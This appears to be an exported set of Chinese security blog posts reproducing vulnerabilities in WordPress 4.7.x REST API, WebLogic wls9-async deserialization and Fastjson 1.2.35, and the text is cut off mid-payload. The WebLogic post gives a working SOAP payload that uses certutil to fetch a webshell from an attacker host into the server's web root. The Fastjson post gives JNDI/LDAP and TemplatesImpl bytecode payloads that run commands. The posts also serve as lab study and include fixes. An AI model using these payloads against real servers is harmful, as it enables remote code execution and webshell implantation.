<h2 id="原理分析"><a href="#原理分析" class="headerlink" title="原理分析"></a>原理分析</h2><p>查看&#x2F;wp-includes&#x2F;rest-api&#x2F;endpoints&#x2F;class-wp-rest-posts-controller.php的第90行，发现参数ID的值会被过滤成数字。发现REST API在管理访问时，其会在正则表达式之前优先考虑$_GET和$_POST的值。例如: &#x2F;wp-json&#x2F;wp&#x2F;v2&#x2F;posts&#x2F;1234?id&#x3D;12345helloworld，REST API会将其ID参数设置成12345helloworld。<br>在99行使用了update_item和update_item_permissions_check。<br><img data-src="https://i.loli.net/2018/05/31/5b0f89783224b.png" alt="1.png"><br>查看593行的update_item_permissions_check函数，其将ID值传递给get_post()函数。这个函数功能用来检查帖子是否存在、是否有权限。如果发送的ID没有对应的post，就可以绕过权限检查，并允许继续执行update_item方法。<br><img data-src="https://i.loli.net/2018/05/31/5b0f899d3b8fa.png" alt="2.png"><br>由于使用get_instance()静态方法来获取post，造成get_post()在特定情况下无法找到对应的ID。<br>查看&#x2F;wordpress&#x2F;wp-includes&#x2F;class-wp-post.php第210行，发现需全部使用数字，例如123ABC将会导致获取post失败。有一个细节，其会将ID参数在传递给get_post之前会将其转换成整数。<br><img data-src="https://i.loli.net/2018/05/31/5b0f89b300743.png" alt="3.png"><br>PHP语言中做类型的比较和转换时，其会返回整数。例如<br><img data-src="https://i.loli.net/2018/05/31/5b0f89c229bd3.png" alt="4.png"><br>例如提交一个请求为&#x2F;wp-json&#x2F;wp&#x2F;v2&#x2F;posts&#x2F;123?id&#x3D;456ABC，PHP会将其ID返回456。由于456ABC并不是纯数字会导致&#x2F;wordpress&#x2F;wp-includes&#x2F;class-wp-post.php获取post_id失败。在流程进入权限检查时update_item_permissions_check判断其没有对应的post绕过权限判断，进行更新操作update_item。最终导致ID为456被修改。<br>在受影响的WordPress版本中REST API接口是默认开放的。任何用户都可以利用该漏洞修改任意文章，只需要指定修改文章的ID即可。<br>修改前：<br><img data-src="https://i.loli.net/2018/05/31/5b0f89dc0e3d0.png" alt="5.png"><br>修改后：<br><img data-src="https://i.loli.net/2018/05/31/5b0f89edabed6.png" alt="6.png"></p>
<h2 id="复现注意事项"><a href="#复现注意事项" class="headerlink" title="复现注意事项"></a>复现注意事项</h2><p>在复现时如果遇到id is not of type integer报错信息，有可能是因为版本不对。最新版本的4.7.2已经对该漏洞进行修复。<br><img data-src="https://i.loli.net/2018/05/31/5b0f8a0db7ddf.png" alt="11.png"><br><img data-src="https://i.loli.net/2018/05/31/5b0f8a19c8a8a.png" alt="12.png"></p>
<h1 id="修复建议"><a href="#修复建议" class="headerlink" title="修复建议"></a>修复建议</h1><p>升级WordPress至4.7.2及以上。</p>
]]></content>
      <categories>
        <category>安全</category>
        <category>漏洞分析</category>
      </categories>
      <tags>
        <tag>漏洞分析</tag>
      </tags>
  </entry>
  <entry>
    <title>weblogic wls9-async rce复现&amp;分析</title>
    <url>/archives/94f70d04.html</url>
    <content><![CDATA[<p>针对Weblogic wls9-async反序列化进行漏洞环境搭建及复现。</p>
<p><img data-src="https://i.loli.net/2019/04/25/5cc10d1a6ddfd.png" alt="success.png"></p>
<p><img data-src="https://i.loli.net/2019/04/25/5cc10d1f59bf8.png" alt="webshell"></p>
<span id="more"></span>

<h1 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h1><p>服务器需要安装jdk,这里采用1.7版本。</p>
<p>在<span class="exturl" data-url="aHR0cHM6Ly93d3cub3JhY2xlLmNvbS90ZWNobmV0d29yay9taWRkbGV3YXJlL3dlYmxvZ2ljL2Rvd25sb2Fkcy93bHMtbWFpbi0wOTcxMjcuaHRtbA==">Oracle官网<i class="fa fa-external-link-alt"></i></span>下载对应版本,这里使用的12.1.3(10.x版本也可以的)。</p>
<p><a href="https://i.loli.net/2019/04/25/5cc10e75259ba.png"><img data-src="https://i.loli.net/2019/04/25/5cc10e75259ba.png" alt="oracle-download.png"></a></p>
<p>下载完成之后，通过<code>java -jar fmw_12.1.3.0.0_wls.jar</code>启动安装程序，默认安装即可。安装完成之后启动weblogic。</p>
<p><a href="https://i.loli.net/2019/04/25/5cc10f794723e.png"><img data-src="https://i.loli.net/2019/04/25/5cc10f794723e.png" alt="weblogic-start.png"></a></p>
<p>通过浏览器访问查看服务是否启动。</p>
<p><a href="https://i.loli.net/2019/04/25/5cc10fb8dade5.png"><img data-src="https://i.loli.net/2019/04/25/5cc10fb8dade5.png" alt="weblogic-bro.png"></a></p>
<h1 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h1><p>在攻击机上通过python启动一个web服务，该目录下放一个webshell。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">python -m SimpleHTTPServer <span class="number">80</span> <span class="comment"># python2</span></span><br><span class="line">python3 -m http.server <span class="comment"># python3</span></span><br></pre></td></tr></table></figure>

<p>由于是soap，先访问一下<span class="exturl" data-url="aHR0cDovL2lwOnBvcnQvX2FzeW5jL0FzeW5jUmVzcG9uc2VTZXJ2aWNlP1dTREw=">http://ip:port/_async/AsyncResponseService?WSDL<i class="fa fa-external-link-alt"></i></span> ，看下格式结构。</p>
<p><a href="https://i.loli.net/2019/04/25/5cc1105a91737.png"><img data-src="https://i.loli.net/2019/04/25/5cc1105a91737.png" alt="weblogic-wsdl.png"></a></p>
<p>通过SOAP-UI进行请求构建，新建一个soap，在Initial WSDL输入刚刚的url。</p>
<p><a href="https://i.loli.net/2019/04/25/5cc110c956692.png"><img data-src="https://i.loli.net/2019/04/25/5cc110c956692.png" alt="weblogic-soap.png"></a></p>
<p>新建一个request请求。</p>
<p><a href="https://i.loli.net/2019/04/25/5cc111862585f.png"><img data-src="https://i.loli.net/2019/04/25/5cc111862585f.png" alt="new-requests.png"></a></p>
<p>将下列代码贴进请求包中，需要注意的是string标签下面的ip、port、webshell.txt这些需要按照自己的环境进行修改。我的攻击机ip为192.168.100.5 port为80 webshell.txt为cmd.txt。</p>
<p>上传的路径：</p>
<p>12版本<code>servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.bea-wls9-async-response_12.1.3/2ig01a/war/</code></p>
<p>10版本<code>servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/</code>。</p>
<figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">soapenv:Envelope</span> <span class="attr">xmlns:soapenv</span>=<span class="string">&quot;http://schemas.xmlsoap.org/soap/envelope/&quot;</span> <span class="attr">xmlns:wsa</span>=<span class="string">&quot;http://www.w3.org/2005/08/addressing&quot;</span> <span class="attr">xmlns:asy</span>=<span class="string">&quot;http://www.bea.com/async/AsyncResponseService&quot;</span>&gt;</span>   </span><br><span class="line">	<span class="tag">&lt;<span class="name">soapenv:Header</span>&gt;</span> </span><br><span class="line">		<span class="tag">&lt;<span class="name">wsa:Action</span>&gt;</span>xx<span class="tag">&lt;/<span class="name">wsa:Action</span>&gt;</span></span><br><span class="line">		<span class="tag">&lt;<span class="name">wsa:RelatesTo</span>&gt;</span>xx<span class="tag">&lt;/<span class="name">wsa:RelatesTo</span>&gt;</span></span><br><span class="line">		<span class="tag">&lt;<span class="name">work:WorkContext</span> <span class="attr">xmlns:work</span>=<span class="string">&quot;http://bea.com/2004/06/soap/workarea/&quot;</span>&gt;</span></span><br><span class="line">		<span class="tag">&lt;<span class="name">void</span> <span class="attr">class</span>=<span class="string">&quot;java.lang.ProcessBuilder&quot;</span>&gt;</span></span><br><span class="line">		<span class="tag">&lt;<span class="name">array</span> <span class="attr">class</span>=<span class="string">&quot;java.lang.String&quot;</span> <span class="attr">length</span>=<span class="string">&quot;3&quot;</span>&gt;</span></span><br><span class="line">		<span class="tag">&lt;<span class="name">void</span> <span class="attr">index</span>=<span class="string">&quot;0&quot;</span>&gt;</span></span><br><span class="line">		<span class="tag">&lt;<span class="name">string</span>&gt;</span>cmd<span class="tag">&lt;/<span class="name">string</span>&gt;</span></span><br><span class="line">		<span class="tag">&lt;/<span class="name">void</span>&gt;</span></span><br><span class="line">		<span class="tag">&lt;<span class="name">void</span> <span class="attr">index</span>=<span class="string">&quot;1&quot;</span>&gt;</span></span><br><span class="line">		<span class="tag">&lt;<span class="name">string</span>&gt;</span>/c<span class="tag">&lt;/<span class="name">string</span>&gt;</span></span><br><span class="line">		<span class="tag">&lt;/<span class="name">void</span>&gt;</span></span><br><span class="line">		<span class="tag">&lt;<span class="name">void</span> <span class="attr">index</span>=<span class="string">&quot;2&quot;</span>&gt;</span></span><br><span class="line">		<span class="tag">&lt;<span class="name">string</span>&gt;</span>certutil -urlcache -split -f http://192.168.100.5/cmd.txt servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.bea-wls9-async-response_12.1.3/2ig01a/war/cmd.jsp<span class="tag">&lt;/<span class="name">string</span>&gt;</span></span><br><span class="line">		<span class="tag">&lt;/<span class="name">void</span>&gt;</span></span><br><span class="line">		<span class="tag">&lt;/<span class="name">array</span>&gt;</span></span><br><span class="line">		<span class="tag">&lt;<span class="name">void</span> <span class="attr">method</span>=<span class="string">&quot;start&quot;</span>/&gt;</span><span class="tag">&lt;/<span class="name">void</span>&gt;</span></span><br><span class="line">		<span class="tag">&lt;/<span class="name">work:WorkContext</span>&gt;</span></span><br><span class="line">		<span class="tag">&lt;/<span class="name">soapenv:Header</span>&gt;</span></span><br><span class="line">		<span class="tag">&lt;<span class="name">soapenv:Body</span>&gt;</span></span><br><span class="line">		<span class="tag">&lt;<span class="name">asy:onAsyncDelivery</span>/&gt;</span></span><br><span class="line">	<span class="tag">&lt;/<span class="name">soapenv:Body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">soapenv:Envelope</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>点击request窗口的发送请求按钮，可以看到攻击机上的python web服务有访问请求，说明文件已经成功上传到服务器上。</p>
<p><a href="https://i.loli.net/2019/04/25/5cc11477bda21.png"><img data-src="https://i.loli.net/2019/04/25/5cc11477bda21.png" alt="python-httpserver.png"></a></p>
<p>通过蚁剑或菜刀连接即可。</p>
<p><img data-src="https://i.loli.net/2019/04/25/5cc10d1a6ddfd.png" alt="success.png"></p>
<p><img data-src="https://i.loli.net/2019/04/25/5cc10d1f59bf8.png" alt="webshell"></p>
<h1 id="原理分析"><a href="#原理分析" class="headerlink" title="原理分析"></a>原理分析</h1><p>使用JD-GUI打开对应War包。</p>
<figure class="highlight awk"><table><tr><td class="code"><pre><span class="line">Weblogic9:</span><br><span class="line"><span class="regexp">/%WLS_HOME%/</span>weblogic92<span class="regexp">/server/</span>lib/bea_wls9_async_response.war</span><br><span class="line"></span><br><span class="line">Weblogic <span class="number">10</span>:</span><br><span class="line"><span class="regexp">/%WLS_HOME%/</span>wlserver_10.<span class="number">3</span><span class="regexp">/server/</span>lib/bea_wls9_async_response.war</span><br><span class="line"></span><br><span class="line">Weblogic12:</span><br><span class="line"><span class="regexp">/%WLS_HOME%/</span>oracle_common<span class="regexp">/modules/</span>com.oracle.webservices.wls.bea-wls9-async-response_12.<span class="number">1.3</span>.war</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>在web.xml里面可以看到基本都是指向<code>weblogic.wsee.async.AsyncResponseBean</code></p>
<p><img data-src="https://i.loli.net/2019/04/25/5cc18b223d1a4.png" alt="web-xml.png"></p>
<p>跟进<code>weblogic.wsee.async.AsyncResponseBean</code>，可以得知有两个函数handleResult、handleFault。查看<span class="exturl" data-url="aHR0cHM6Ly9kb2NzLm9yYWNsZS5jb20vbWlkZGxld2FyZS8xMjIxMy93bHMvV0xBUEkvd2VibG9naWMvd3NlZS9hc3luYy9Bc3luY1Jlc3BvbnNlQmVhbi5odG1s">oracle官方<i class="fa fa-external-link-alt"></i></span>对AsyncResponseBean类的描述，查看Method Detail,可以得知handleResult是当异步响应服务收到对请求正常时调用，handleFault是异常时调用。</p>
<p>根据官方文档可以得知AsyncResponseBean继承AbstractAsyncResponseBean类(<code>%WLS_HOME%/server/lib/weblogic.jar</code>)。在weblogic.wsee.async找到该类。</p>
<p><img data-src="https://i.loli.net/2019/04/25/5cc1a3cf32429.png" alt="weblogic-abstractasync.png"></p>
<p>由于不了解weblogic逻辑处理流程，根据查阅的资料所得：该处会与AddressingHandler、AsyncResponseHandler、WorkAreaHandler有关。</p>
<p>其中WorkAreaHandler被WorkAreaServerHandler和WorkAreaClientHandler继承，而WorkAreaServerHandler的27行处<code>localWorkContextMapInterceptor.receiveRequest(**new** WorkContextXmlInputAdapter(localWorkAreaHeader.getInputStream()));</code>可以看到接受请求用到了WorkContextXmlInputAdapter。</p>
<p><img data-src="https://i.loli.net/2019/04/25/5cc1a9a55c1b0.png" alt="requests.png"></p>
<p>跟进该类可以发现该类imoprt了XMLDecoder，而且并没有做过滤。XMLDecoder是用来将XML文件反序列化成java对象。</p>
<p><img data-src="https://i.loli.net/2019/04/25/5cc1a96f84381.png" alt="XMLDecoder.png"></p>
<h1 id="修复建议"><a href="#修复建议" class="headerlink" title="修复建议"></a>修复建议</h1><p>1.删除对应war包；</p>
<p>2.禁用bea_wls9_async_response组件。</p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>这次分析还有存在疑难点：weblogic整体的逻辑处理流程是如何，这个需要后续是多了解。</p>
]]></content>
      <categories>
        <category>安全</category>
        <category>漏洞分析</category>
      </categories>
      <tags>
        <tag>漏洞分析</tag>
      </tags>
  </entry>
  <entry>
    <title>Fastjson漏洞复现</title>
    <url>/archives/87c00e88.html</url>
    <content><![CDATA[<p>前些日子遇到了Fastjson1.2.35，该版本存在反序列化漏洞。但由于服务器不出网，只能验证dnslog。通过网上搜索发现bytecode的方式，但是payload无法成功将命令执行从异常带回来。因此，尝试自己复现了解一下是何情况。</p>
<p><img data-src="https://i.loli.net/2020/11/28/PiB82h3X1qLUtA6.jpg" alt="fastjson-error"></p>
<span id="more"></span>

<h1 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h1><p>通过idea生成Maven项目，并将对应版本的fastjson添加至pom.xml中。</p>
<figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">project</span> <span class="attr">xmlns</span>=<span class="string">&quot;http://maven.apache.org/POM/4.0.0&quot;</span></span></span><br><span class="line"><span class="tag">         <span class="attr">xmlns:xsi</span>=<span class="string">&quot;http://www.w3.org/2001/XMLSchema-instance&quot;</span></span></span><br><span class="line"><span class="tag">         <span class="attr">xsi:schemaLocation</span>=<span class="string">&quot;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">modelVersion</span>&gt;</span>4.0.0<span class="tag">&lt;/<span class="name">modelVersion</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>groupId<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>FastjsonTest<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.0-SNAPSHOT<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">dependencies</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.alibaba<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>fastjson<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.2.35<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">dependencies</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">properties</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">project.build.sourceEncoding</span>&gt;</span>UTF-8<span class="tag">&lt;/<span class="name">project.build.sourceEncoding</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">maven.compiler.encoding</span>&gt;</span>UTF-8<span class="tag">&lt;/<span class="name">maven.compiler.encoding</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">java.version</span>&gt;</span>1.8<span class="tag">&lt;/<span class="name">java.version</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">maven.compiler.source</span>&gt;</span>1.8<span class="tag">&lt;/<span class="name">maven.compiler.source</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">maven.compiler.target</span>&gt;</span>1.8<span class="tag">&lt;/<span class="name">maven.compiler.target</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">properties</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">project</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>右键pom.xml文件，选择【Maven】-【下载源和文档】即可成功搭建成功。</p>
<p><img data-src="https://i.loli.net/2020/11/27/KEhIaezklfGxAwr.jpg" alt="fastjson-pom-maven"></p>
<h1 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h1><p>主要是从dnslog、JNDI、bytecode等方式进行复现利用。可通过<code>&#123;&quot;a&quot;:&quot;</code>进行验证是否是fastjson。如果异常报错被自定义，那么就盲打吧。</p>
<p><img data-src="https://i.loli.net/2020/11/27/djCXRATlarcGM9x.jpg" alt="fastjson-verify"></p>
<h2 id="DNSLOG"><a href="#DNSLOG" class="headerlink" title="DNSLOG"></a>DNSLOG</h2><p>在【src】-【main】-【java】文件夹下新建一个poc类，代码如下：</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.JSON;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">poc</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">payload</span> <span class="operator">=</span> <span class="string">&quot;&#123;\&quot;@type\&quot;:\&quot;java.net.Inet4Address\&quot;,\&quot;val\&quot;:\&quot;dnslog\&quot;&#125;&quot;</span>;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            JSON.parse(payload);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>这时候dns服务器已经成功收到了dns请求。下面是几个常见的dnslog请求的poc。</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line">&#123;<span class="string">&quot;@type&quot;</span>:<span class="string">&quot;java.net.Inet4Address&quot;</span>,<span class="string">&quot;val&quot;</span>:<span class="string">&quot;dnslog&quot;</span>&#125;</span><br><span class="line">&#123;<span class="string">&quot;@type&quot;</span>:<span class="string">&quot;java.net.Inet6Address&quot;</span>,<span class="string">&quot;val&quot;</span>:<span class="string">&quot;dnslog&quot;</span>&#125;</span><br><span class="line">&#123;<span class="string">&quot;@type&quot;</span>:<span class="string">&quot;java.net.InetSocketAddress&quot;</span>&#123;<span class="string">&quot;address&quot;</span>:,<span class="string">&quot;val&quot;</span>:<span class="string">&quot;dnslog&quot;</span>&#125;&#125;</span><br></pre></td></tr></table></figure>

<h2 id="JNDI"><a href="#JNDI" class="headerlink" title="JNDI"></a>JNDI</h2><p>如果服务器出网，可使用JNDI的方式进行反弹等操作，这里我使用<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL2ZlaWhvbmctY3MvSk5ESUV4cGxvaXQ=">JNDIExploit<i class="fa fa-external-link-alt"></i></span>这个工具。由于不知为何通过Basic的方式无法成功执行命令。所以，本地环境采用了tomcat、fastjson.war进行部署。通过<code>java -jar JNDIExploit.jar -i 0.0.0.0 -p 8009</code>启动服务之后，对漏洞环境直接发起对应请求即可。Ps：下面那段是Base64命令为<code>open /System/Applications/Calculator.app</code>。</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line">    <span class="string">&quot;a&quot;</span>: &#123;</span><br><span class="line">        <span class="string">&quot;@type&quot;</span>: <span class="string">&quot;java.lang.Class&quot;</span>, </span><br><span class="line">        <span class="string">&quot;val&quot;</span>: <span class="string">&quot;com.sun.rowset.JdbcRowSetImpl&quot;</span></span><br><span class="line">    &#125;, </span><br><span class="line">    <span class="string">&quot;b&quot;</span>: &#123;</span><br><span class="line">        <span class="string">&quot;@type&quot;</span>: <span class="string">&quot;com.sun.rowset.JdbcRowSetImpl&quot;</span>, </span><br><span class="line">        <span class="string">&quot;dataSourceName&quot;</span>: <span class="string">&quot;ldap://0.0.0.0:1389/TomcatBypass/Command/Base64/b3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcA==&quot;</span>, </span><br><span class="line">        <span class="string">&quot;autoCommit&quot;</span>: <span class="literal">true</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>但由于许多大型企业、金融等服务器基本不出网，所以这种利用方式也比较困难。</p>
<h2 id="ByteCode"><a href="#ByteCode" class="headerlink" title="ByteCode"></a>ByteCode</h2><p>经常会遇到无法出网的机器，这时候无法通过JNDI来进行反弹等操作。可尝试通过ByteCode的方式进行命令执行，将执行的结果带入到异常中，将异常抛出即可。但这种方法有一个<font color='red'><strong>前提</strong></font>：json解析的时候需要设置Feature.SupportNonPublicField，<code>jSON.parse(payload, Feature.SupportNonPublicField);</code>。由于这个前提的存在，基本不太可能能在实战环境成功遇到。</p>
<h3 id="命令执行"><a href="#命令执行" class="headerlink" title="命令执行"></a>命令执行</h3><h4 id="ByteCode生成"><a href="#ByteCode生成" class="headerlink" title="ByteCode生成"></a>ByteCode生成</h4><p>新建test类，代码如下：</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.DOM;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.TransletException;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xml.internal.serializer.SerializationHandler;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">test</span> <span class="keyword">extends</span> <span class="title class_">AbstractTranslet</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">test</span><span class="params">()</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        Runtime.getRuntime().exec(<span class="string">&quot;open /System/Applications/Calculator.app&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">transform</span><span class="params">(DOM document, DTMAxisIterator iterator, SerializationHandler handler)</span> &#123;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">transform</span><span class="params">(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers)</span> <span class="keyword">throws</span> TransletException &#123;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">test</span> <span class="variable">t</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">test</span>();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>通过<code>javac test.java</code>生成test.class文件，然后通过python将test.class内容进行Base64编码。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"></span><br><span class="line">fin = <span class="built_in">open</span>(<span class="string">r&quot;test.class&quot;</span>, <span class="string">&quot;rb&quot;</span>)</span><br><span class="line">fout = <span class="built_in">open</span>(<span class="string">r&quot;test.txt&quot;</span>, <span class="string">&quot;w&quot;</span>)</span><br><span class="line">s = base64.encodestring(fin.read()).replace(<span class="string">&quot;\n&quot;</span>, <span class="string">&quot;&quot;</span>)</span><br><span class="line"><span class="built_in">print</span>(s)</span><br><span class="line">fout.write(s)</span><br><span class="line">fin.close()</span><br><span class="line">fout.close()</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<h4 id="POC利用"><a href="#POC利用" class="headerlink" title="POC利用"></a>POC利用</h4><p>修改poc类，其中的_bytecodes为test.txt文件内容。</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.JSON;</span><br><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.parser.Feature;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">poc</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">payload</span> <span class="operator">=</span> <span class="string">&quot;&#123;\n&quot;</span> +</span><br><span class="line">                <span class="string">&quot;\&quot;@type\&quot;: \&quot;com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\&quot;,\n&quot;</span> +</span><br><span class="line">                <span class="string">&quot;\&quot;_bytecodes\&quot;: [\n&quot;</span> +</span><br><span class="line"><span class="string">&quot;\&quot;yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAJdGVzdC5qYXZhDAAIAAkHACEMACIAIwEAKG9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAMACQAJQEABHRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACQAEAAoADQALAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAADgABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAEQAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAEwAIABQADAAAAAQAAQAUAAEAFQAAAAIAFg==\&quot;\n&quot;</span> +</span><br><span class="line">                <span class="string">&quot;],\n&quot;</span> +</span><br><span class="line">                <span class="string">&quot;\&quot;_name\&quot;: \&quot;a\&quot;,\n&quot;</span> +</span><br><span class="line">                <span class="string">&quot;\&quot;_tfactory\&quot;: &#123;&#125;,\n&quot;</span> +</span><br><span class="line">                <span class="string">&quot;\&quot;_outputProperties\&quot;: &#123;&#125;,\n&quot;</span> +</span><br><span class="line">                <span class="string">&quot;\&quot;_version\&quot;: \&quot;1.0\&quot;,\n&quot;</span> +</span><br><span class="line">                <span class="string">&quot;\&quot;allowedProtocols\&quot;: \&quot;all\&quot;\n&quot;</span> +</span><br><span class="line">                <span 